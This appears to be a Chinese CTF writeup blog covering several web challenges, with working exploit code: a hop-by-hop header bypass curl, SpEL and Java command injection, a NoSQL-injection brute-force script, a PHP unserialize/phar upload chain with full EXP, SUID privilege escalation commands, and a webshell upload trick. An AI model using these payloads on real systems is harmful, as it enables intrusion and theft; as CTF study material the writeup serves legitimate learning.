前言
这周比较忙的都过去了,开始复现
Writeup
SecretVault
审计源码,可以观察到

再看由go编写的鉴权系统
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) { req.URL.Scheme = "http" req.URL.Host = "127.0.0.1:5000"
uid := GetUIDFromRequest(req) log.Printf("Request UID: %s, URL: %s", uid, req.URL.String()) req.Header.Del("Authorization") req.Header.Del("X-User") req.Header.Del("X-Forwarded-For") req.Header.Del("Cookie") if uid == "" { req.Header.Set("X-User", "anonymous") } else { req.Header.Set("X-User", uid) } }}
|
这里存在一个漏洞
博客原文https://www.ory.com/blog/hop-by-hop-header-vulnerability-go-standard-library-reverse-proxy
照样打即可
curl http://47.95.4.104:28680/dashboard -H "X-User:0" -H "Connection:close,X-User"
直接拿到flag
打是这样打,学又是另一回事了
关键就是,在代理最后要转发过来的时候,它会检查它的Connection,并从请求头中删除对应的值,这样导致X-User的缺失,使默认为admin[0]
bbjv
根据docker发现flag.txt在/tmp下,但是当前的user.home是/root
虽然存在表达式注入,但是非常严格的WAF导致基本进行不了什么操作
结合这样的路径差异,我们可以尝试更改当前的user.home指向/tmp
靶机就会去读/tmp下的flag.txt
payload为
#{#systemProperties['user.home'] = '/tmp'}
即可
复现
yacms
开始做时以为又是什么0day漏洞,审源码
结果第二天睡醒起来看到被打烂了
也是百思不得其解了:(
进入myproject下面的Algoorithms
来到这里

这个位置我们可以执行java代码
我们开启trace
注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| try { String[] commandArray = {"/usr/bin/env", "bash", "-c", "cat /flag"}; Process process = Runtime.getRuntime().exec(commandArray); java.io.InputStream inputStream = process.getInputStream(); java.io.ByteArrayOutputStream buffer = new java.io.ByteArrayOutputStream(); byte[] dataBlock = new byte[4096]; int bytesRead; while ((bytesRead = inputStream.read(dataBlock)) != -1) { buffer.write(dataBlock, 0, bytesRead); } int returnValue = process.waitFor(); String resultText = buffer.toString(java.nio.charset.StandardCharsets.UTF_8.name()); out0.setStringValue(resultText + "RETURN_VALUE=" + returnValue); } catch (java.io.IOException e) { out0.setStringValue("IO_ERROR: " + e.toString()); } catch (InterruptedException e) { out0.setStringValue("PROCESS_INTERRUPTED: " + e.toString()); }
|
这样可以在out0上看到回显

anime
该题有原型:https://hackmd.io/@Nightcore/H1IHmIYIlg
原题有源码这里没有?有点⑩
这题有两种打法,第一种ip够多的话直接爆五位数字密码即可
第二种打法就是爆破hash,再爆破密码了
这里使用脚本进行爆破hash和salt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| import requests from bs4 import BeautifulSoup
URL = "http://47.105.120.74:1010" wordlist = [i for i in "0123456789abcdefghijklmnopqrstuvwxyz"]
session = requests.Session() cookies = { "session": "eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiJhYWFhYSJ9fQ==", "session.sig": "qwfttVYZITX4KfPxoYlmxKACquo" }
salt = "" for index_salt in range(32): for i in range(len(wordlist)): data = { "data.fullname": "abc", "data.email": "", "data.phone": "", "data.website": "", "secret[$ne]": "null", "data.address.street": "", "data.address.city": "", "data.address.state": "", "data.address.zip": "", "salt": f"{salt}{wordlist[i]}" } res = session.post(f"{URL}/user/aaaaa/edit", data=data, cookies=cookies, allow_redirects=False) res = session.get(f"{URL}/users?limit=600&sort=salt", cookies=cookies) soup = BeautifulSoup(res.text, 'html.parser') users = soup.find_all('a', {'class': 'anime_title'}) usernames = [u.text.strip() for u in users] name1 = "TTXSMcc" name2 = "aaaaa" idx1=0 idx2=0 if name1 in usernames and name2 in usernames: idx1 = usernames.index(name1) idx2 = usernames.index(name2) if idx1 < idx2: if index_salt == 31: salt += wordlist[i] break salt += wordlist[i - 1] print(f"Found salt: {salt}") break print(f"Final salt: {salt}")
hashed = "" for index_salt in range(64): for i in range(len(wordlist)): data = { "data.fullname": "abc", "data.email": "", "data.phone": "", "data.website": "", "secret[$ne]": "null", "data.address.street": "", "data.address.city": "", "data.address.state": "", "data.address.zip": "", "hash": f"{hashed}{wordlist[i]}" } res = session.post(f"{URL}/user/aaaaa/edit", data=data, cookies=cookies, allow_redirects=False) res = session.get(f"{URL}/users?limit=600&sort=hash", cookies=cookies) soup = BeautifulSoup(res.text, 'html.parser') users = soup.find_all('a', {'class': 'anime_title'}) usernames = [u.text.strip() for u in users] name1 = "TTXSMcc" name2 = "aaaaa" idx1=0 idx2=0 if name1 in usernames and name2 in usernames: idx1 = usernames.index(name1) idx2 = usernames.index(name2) if idx1 < idx2: if index_salt == 63: hashed += wordlist[i] break hashed += wordlist[i - 1] print(f"Found hashed: {hashed}") break print(f"Final hash: {hashed}") print(f"Final salt: {salt}")
|
成功爆破之后再将得到的hash和salt来爆破密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| const crypto = require("crypto");
const salt = "c8eb3c22ae12612355a8b73d0e0ccbdb"; const target_hash = "2d37f432e875c5513a5d9967c3968ec8c29c9d2d75d86302b75488d275d48c98";
for (let i = 10000; i <= 99999; i++) { const password = i.toString().padStart(5, "0"); const hash = crypto .pbkdf2Sync(password, salt, 25000, 32, "sha256") .toString("hex"); if (hash === target_hash) { console.log("Found password:", password); process.exit(0); } if (i % 1000 === 0) { console.log("Tried:", password); } } console.log("Password not found");
|
爆破得到密码登录即可
登录之后发现已被缓存,利用大小写不敏感特性
将url中的TTXSMcc转换为大写或小写,即可得到flag
结语
有点摸不着头脑还是
ezphp
该题很有意思,全程困扰自己最艰难的地方就是如何注册这个readflag方法,开头实现任意文件上传,结尾可以通过包含.phar文件名的文件,进行绕过WAF实现RCE
有源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| <?php function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); $randomString .= $characters[$r]; } return $randomString; }
date_default_timezone_set('Asia/Shanghai');
class test { public $readflag; public $f; public $key;
public function __construct() { $this->readflag = new class { public function __construct() { if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) { $time = date('Hi'); $filename = $GLOBALS['filename']; $seed = $time . intval($filename); mt_srand($seed);
$uploadDir = 'uploads/'; $files = glob($uploadDir . '*'); foreach ($files as $file) { if (is_file($file)) unlink($file); }
$randomStr = generateRandomString(8); $newFilename = $time . '.' . $randomStr . '.' . 'jpg'; $GLOBALS['file'] = $newFilename; $uploadedFile = $_FILES['file']['tmp_name']; $uploadPath = $uploadDir . $newFilename;
if (system("cp ".$uploadedFile." ". $uploadPath)) { echo "success upload!"; } else { echo "error"; } } }
public function __wakeup() { phpinfo(); }
public function readflag() { function readflag() { if (isset($GLOBALS['file'])) { $file = $GLOBALS['file']; $file = basename($file); if (preg_match('/:\/\//', $file)) die("error");
$file_content = file_get_contents("uploads/" . $file); if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) { die("Illegal content detected in the file."); }
include("uploads/" . $file); } } } }; }
public function __destruct() { $func = $this->f; $GLOBALS['filename'] = $this->readflag;
if ($this->key == 'class') { new $func(); } else if ($this->key == 'func') { $func(); } else { highlight_file('index.php'); } } }
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N'; @unserialize($ser);
|
有一点很有意思,eval(base64_decode(xxxxxxxx));
为什么不大大方方的展示源码而要压缩在一行呢?真的是很有意思的一道题,有点遗憾的是当时没有死磕
$this->key == 'class',进入匿名类的调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) { $time = date('Hi'); $filename = $GLOBALS['filename']; $seed = $time . intval($filename); mt_srand($seed);
$uploadDir = 'uploads/'; $files = glob($uploadDir . '*'); foreach ($files as $file) { if (is_file($file)) unlink($file); }
$randomStr = generateRandomString(8); $newFilename = $time . '.' . $randomStr . '.' . 'jpg'; $GLOBALS['file'] = $newFilename; $uploadedFile = $_FILES['file']['tmp_name']; $uploadPath = $uploadDir . $newFilename;
if (system("cp ".$uploadedFile." ". $uploadPath)) { echo "success upload!"; } else { echo "error"; } }
|
这里实现任意文件上传,文件名是可预测的
可预测的文件名
echo intval("phar.phar.gz"); => 0
而echo $time = date('Hi'); 在一分钟内保持不变
这样的话
1 2
| mt_srand("06170"); echo generateRandomString( 8);
|
生成的就是固定的smstmozm(一分钟内)
这样的话,$newFilename是可预测的,这就给我们后续文件包含,打下一个基础
但就这样了吗?
不是的,我们不止能预测,甚至可以控制
给出一个demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); $randomString .= $characters[$r]; } return $randomString; } date_default_timezone_set('Asia/Shanghai'); $readflag=1; while (true){ $time = date('Hi'); $seed = $time . intval($readflag); mt_srand($seed); $str = generateRandomString(8); if(substr($str, 0, 4) === 'phar'){ echo $readflag, PHP_EOL.'<br />'; echo $str, PHP_EOL.'<br />'; echo $seed, PHP_EOL.'<br />'; break; }else{ $readflag++; } }
|
奇迹
1 2 3 4
| 227673 <br />pharymsi <br />2051227673 <br />
|
意思是,我们传入文件名为227673,可以上传于/uploads/目录下一个含有.phar字符的文件,cool
文件包含:phar压缩绕过
这样的trick近两个月一直在出现,而它的要求很简单,只需文件名含有.phar,它就会有一步gzip解压的操作
我们看一下文件包含部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public function readflag() { function readflag() { if (isset($GLOBALS['file'])) { $file = $GLOBALS['file']; $file = basename($file); if (preg_match('/:\/\//', $file)) die("error");
$file_content = file_get_contents("uploads/" . $file); if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) { die("Illegal content detected in the file."); }
include("uploads/" . $file); } } }
|
对于这样的正则preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content),能绕的方法不多,只是phar压缩绕过
完美符合
调用全局函数readflag
但是,我们观察到这是一个readflag()->readflag(),不太理解其中关系?我们再写一个demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class SomeClass { public function readflag() { print("第一个readflag"); function readflag() { echo "我是全局函数"; } } }
$obj=new SomeClass(); $obj->readflag(); readflag();
|
但是我们看到 $this->key == 'func'\n$func();
我们理论上上只要能够调用test实例化时又一次实例化了的一个匿名类的readflag方法,自然实现注册,此时,就可以直接调用全局函数,实现一句话木马,然后RCE
这就是一个匿名类的问题? 解决两种,第一,我们是否能像找匿名函数一样去找匿名类的名称?第二,假使我们知道名称之后,应该如何进行调用?
不难想到用数组,但是我们知道,匿名类无法被序列化,因此无法打[$test1 -> readflag,'readflag']而调用匿名类的readflag方法
需要我们进行调试,尤其是底层的调试,在调试中,我们可以发现,在宿主机初始阶段(须重置,和匿名函数一样)
当此匿名类被创建时,这个全局函数readflag被注册->readflag/var/www/html/index.php(1) : eval()'d code:1$1
这也就是说,它本身在实例化的时候,就已经被注册了,就已经可以被全局调用了
这里很有意思,由于eval(base64_decode(xxxx));
因此限定为1行
至此,我们可以有一个小demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?=eval(base64_decode('Y2xhc3MgdGVzdAp7CiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQogICAgewogICAgICAgIGVjaG8gJ2J1aWxkIGFueW1vdXMgY2xhc3MnLCBQSFBfRU9MOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiByZWFkZmxhZygpCiAgICB7CiAgICAgICAgZnVuY3Rpb24gcmVhZGZsYWcyKCkKICAgICAgICB7CiAgICAgICAgICAgIGVjaG8gJ2ZsYWd7eHh4fScsIFBIUF9FT0w7CiAgICAgICAgfQogICAgfQogICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgICRmdW5jID0gJF9HRVRbJ2Z1bmMnXSA9PT0gbnVsbCA/ICdwaHBpbmZvJyA6ICRfR0VUWydmdW5jJ107CiAgICAgICAgJGZ1bmMoKTsKICAgIH0KfQpuZXcgdGVzdCgpOw=='));
class test { public function __construct() { echo 'build anymous class', PHP_EOL; } public function readflag() { function readflag2() { echo 'flag{xxx}', PHP_EOL; } } public function __destruct() { $func = $_GET['func'] === null ? 'phpinfo' : $_GET['func']; $func(); } } new test();
|
传入readflag/var/www/html/index.php(1) : eval()'d code:1$1 成功
也有师傅是找到匿名类的定义方式,然后用数组的方式调用这个匿名类的readflag方法
比如通过 get_class()的方式查看匿名类的序列化情况
匿名类的调用规则是class@anonymousmailto:class@anonymous + %00 + 路径 + : + 定义的行号 + $ 匿名类序号
而在eval中为,class@anonymousmailto:class@anonymous + %00 + 路径 + : + (eval 的行号) + eval()'d code: + eval 中定义的行号 + $ 匿名类序号
即
1 2 3
| $test1 = new test(); $test1->key = "func"; $test1->f = ["class@anonymous\00/var/www/html/index.php(1) : eval()'d code:1$0", 'readflag'];
|
也是可以的
最后的payload
也许会想,传两次包,一次上传,一次包含?
我们可以看到这处判断
而这个全局变量,来自于文件上传的后的文件名,来自匿名类的实例化部分
即,我们必须同时,在一个请求内创建new test()和调用readflag()。
即,数组
1
| a:2:{i:0;O:4:"test":3:{s:8:"readflag";i:1250881;s:1:"f";s:4:"test";s:3:"key";s:5:"class";}i:1;O:4:"test":3:{s:8:"readflag";i:1250881;s:1:"f";s:55:"%00readflag/var/www/html/index.php(1) : eval()'d code:1$1";s:3:"key";s:4:"func";}}
|
至此收束
这里可以看Polaris的EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <?php function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); $randomString .= $characters[$r]; } return $randomString; } date_default_timezone_set('Asia/Shanghai'); class test { public $readflag; public $f; public $key; } $readflag=1; while (true){ $time = date('Hi'); $seed = $time . intval($readflag); mt_srand($seed); $str = generateRandomString(8); if(substr($str, 0, 4) === 'phar'){ echo $readflag, PHP_EOL.'<br />'; echo $str, PHP_EOL.'<br />'; echo $seed, PHP_EOL.'<br />'; break; }else{ $readflag++; } } $test = new test(); $test->readflag = $readflag; $test->key = 'class'; $test->f = 'test'; $test2 = new test(); $test2->readflag = $readflag; $test2->key = 'func'; $test2->f = urldecode("%00readflag/var/www/html/index.php(1) : eval()'d code:1$1"); $exp=serialize(array($test, $test2)); echo $exp, PHP_EOL.'<br />'; ?> <!DOCTYPE html> <html> <head> <title>File Upload</title> </head> <body> <h2>Upload File</h2> <form action='https://eci-2zei3ure1bkiq5oi5ewp.cloudeci1.ichunqiu.com:80/?land=<?php echo urlencode($exp);?>' method="post" enctype="multipart/form-data"> <input type="file" name="file" required> <input type="submit" value="Upload"> </form> </body> </html>
|
这种payload很完美,完美包含了后续的文件上传部分,cool~
后半部分提权
拿到shell之后,发现需要提权,查找suid权限
(suid提权必看)[https://gtfobins.github.io/]
1 2 3
| find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \;
|
发现base64,可以读取/flag内容
1
| base64 /flag | base64 -d
|
结束
结语
这道题,很有意思,手动调起来()
日志系统
前言
难崩的前半段 贴一下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| <?php $queryString = $_SERVER['QUERY_STRING'] ?? ''; if (empty($queryString)) { exit("未检测到任何 GET 参数。"); } if (strpos($queryString, '%') !== false) { exit("非法请求:GET 参数中不允许包含 '%' 字符。"); } $params = explode('&', $queryString); $expectedOrder = ['timestamp[year]', 'timestamp[month]', 'timestamp[day]']; $foundKeys = []; $duplicates = []; $values = [];
foreach ($params as $param) { $parts = explode('=', $param, 2); $key = urldecode($parts[0]); $value = isset($parts[1]) ? urldecode($parts[1]) : '';
if (preg_match('/^timestamp\[[a-zA-Z]+\]$/', $key)) { if (in_array($key, $foundKeys)) { $duplicates[] = $key; } else { $foundKeys[] = $key; } $values[$key] = $value; } }
$missing = array_diff($expectedOrder, $foundKeys); $extra = array_diff($foundKeys, $expectedOrder);
if (!empty($duplicates)) { exit("检测到重复的参数:" . implode(', ', array_unique($duplicates))); } if (!empty($missing)) { exit("缺少参数:" . implode(', ', $missing)); } if (!empty($extra)) { exit("含有多余参数:" . implode(', ', $extra)); } if ($foundKeys !== $expectedOrder) { exit("参数顺序错误,应为:" . implode(' → ', $expectedOrder) . "。当前为:" . implode(', ', $foundKeys)); } foreach ($expectedOrder as $k) { if (!isset($values[$k]) || !ctype_digit($values[$k])) { exit("参数 {$k} 必须为纯数字,当前为:" . ($values[$k] ?? '未提供')); } } $content = $_POST['content'] ?? ''; if (trim($content) === '') { exit("未检测到 POST 内容(content)。"); }
$dir = __DIR__ . '/upload'; if (!is_dir($dir)) mkdir($dir, 0777, true);
$year = $_GET['timestamp']['year']; $month = $_GET['timestamp']['month']; $day = $_GET['timestamp']['day']; $filename = $dir."/".$year.$month.$day; if (file_put_contents($filename, $content . PHP_EOL, FILE_APPEND | LOCK_EX) === false) { exit("写入文件失败"); }
echo "日志保存成功"; ?>
|
这一道题的考察点既是利用差异化解析上马,我们可以看到只要可以绕过前面$_SERVER['QUERY_STRING']后的处理,即可GET获取参数值进行文件名控制,上webshell
当然如果%没禁这道题很简单,毕竟GET解析时会自动解码
如此

实际的QUERY_STRING后的要求就不分析了,就一个点,根据字符串正则进行要求,有顺序正确,且不缺失,且不重复
当然在这里有绕过的地方
我们传入timestamp[day]=1和timestamp[day][]=1是不一样的,因此绕过WAF,但是get会接受数组,最后拼接时变成Array,显然,无法达成目标
有意思的是php.ini里存在扩展,开启之后不止用&分隔传参,还有;,不过默认关闭,开启的话这题也好说
那还有什么绕过思路呢?
赛后直接癫,一个+号的事,清楚一个事情,首先自定义的不会解码因此实现绕过timestamp[day]不等于+timestamp[day]
然后get获取参数时会默认解码,+为空格,因此会直接被忽略掉,成功覆盖控制
实际调一下吧


直接绕过上传111.php文件了,即可RCE
这里要对php一些行为有深刻认识,并能意识到没有%,php也会对+自动解码(sql注入加日常传参应该很深刻才是,哎)
后半段需要查找flag位置并进行提权操作
flag在/etc下,通过ps命令查看进程,发现jboss是root起的,考虑jboss提权即可
思路即打法如下:
https://y4er.com/posts/jboss-4446-rce-and-rpc-echo-response/
直接打CVE即可
PTer
0day吗,有意思
CeleRace
神马神马代码审计